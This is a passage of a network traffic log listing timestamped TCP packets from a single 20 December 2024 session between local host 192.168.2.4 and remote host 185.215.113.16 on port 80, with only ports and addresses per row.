Dec 20, 2024 17:11:03.040057898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.040137053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.040148973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.040168047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.040347099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.040383101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.041143894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.041331053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.041343927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.041368008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.041902065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.041949987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.042984009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.043072939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.043085098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.043106079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.043268919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.043324947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.043693066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.043745041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.043756962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.043781996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.043953896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.043991089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.044480085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.044503927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.044517994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.044568062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.044703007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.044739962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.045197964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.045217037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.045249939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.045324087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.045383930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.045417070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.045814037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.045856953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.045870066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.045890093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.046066999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.046103001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.046513081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.046526909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.046566010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.046591997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.046607018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.046639919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.047148943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.047203064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.047214985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.047241926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.047405005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.047446012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.099689960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.099730968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.099744081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.099778891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.099955082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.100006104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.100123882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.100135088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.100169897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.100323915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.100559950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.100608110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.100704908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.100714922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.100724936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.100763083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.101257086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.101301908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.101358891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.101378918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.101417065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.101587057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.102121115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.102132082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.102171898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.102247953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.102257967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.102299929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.102864981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.102912903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.103745937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.149733067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.166440010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.166520119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.166531086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.166558027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.166646957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.166682959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.166825056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.166838884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.166873932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.167032003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.167468071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.167509079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.167555094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.167568922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.167604923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.167831898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.168339968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.168385983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.168430090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.168443918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.168476105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.168823957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.168919086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.168930054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.168957949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.169187069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.169229031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.169675112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.169744015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.169755936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.169776917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.169938087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.169972897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.170488119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.170593023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.170603991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.170633078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.170789003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.170835972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.171242952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.171497107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.171554089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.228359938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.228491068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.228503942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.228548050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.228816032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.228827000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.228838921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.228852034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.228868961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.228895903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.229094028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.229146004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.229156017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.229351997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.229363918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.229415894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.229548931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.229588032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.230087042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.230098009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.230112076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.230134010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.230236053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.230276108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.230740070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.230925083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.230937958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.230973959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.231077909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.231113911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.231523991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.231566906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.231580019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.231602907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.231729984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.231767893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.232240915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.232409000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.232420921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.232450008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.232579947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.232620001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.233232975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.233261108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.233289003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.233412027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.233436108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.233481884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.233966112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.234146118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.234158993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.234178066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.234286070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.234328985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.234858036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.234870911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.234884977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.234905958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.234991074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.235028028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.235447884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.235614061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.235627890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.235649109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.235817909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.235852957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.236360073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.236444950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.236458063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.236478090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.236644030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.236684084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.237503052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.237518072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.237533092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.237546921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.237557888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.237596989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.237844944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.238027096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.238042116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.238064051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.238147974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.238185883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.238780975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.238794088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.238807917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.238827944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.239134073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.239166975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.291896105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.291973114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.291984081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.292150974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.292203903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.292273045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.292335987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.292346001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.292385101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.292496920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.292790890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.292836905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.292860031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.292870998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.292927980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.293239117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.293333054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.293343067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.293365002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.293544054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.293586969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.294091940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.294101954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.294141054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.294228077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.294367075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.294455051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.294846058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.294970989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.294982910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.295003891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.337254047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.358805895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.358892918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.358906984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.358961105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.359101057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.359144926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.359257936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.359271049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.359319925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.359498978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.359512091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.359544992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.360008955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.360192060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.360208035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.360241890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.360408068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.360451937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.360794067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.360940933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.360955000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.360990047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.361152887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.361195087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.361620903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.361732006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.361742973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.361774921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.361938000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.362005949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.362395048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.362500906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.362513065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.362540960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.362728119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.362771034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.363246918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.363259077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.363295078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.363296986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.415446043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.419969082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.420092106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.420104027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.420135975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.420245886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.420289993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.420378923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.420488119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.420523882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.420625925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.420645952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.420660019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.420677900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.421298027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.421317101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.421330929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.421344042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.421350002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.421488047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.422010899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.422087908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.422120094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.422133923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.422166109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.422334909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.422804117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.422853947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.422928095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.422940969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.422975063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.423167944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.423670053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.423715115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.423748016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.423759937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.423798084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.423945904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.424442053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.424489021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.424521923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.424535990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.424568892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.424725056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.425251961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.425333977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.425339937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.425353050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.425400019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.425574064 CET	80	49744	185.215.113.16	192.168.2.4
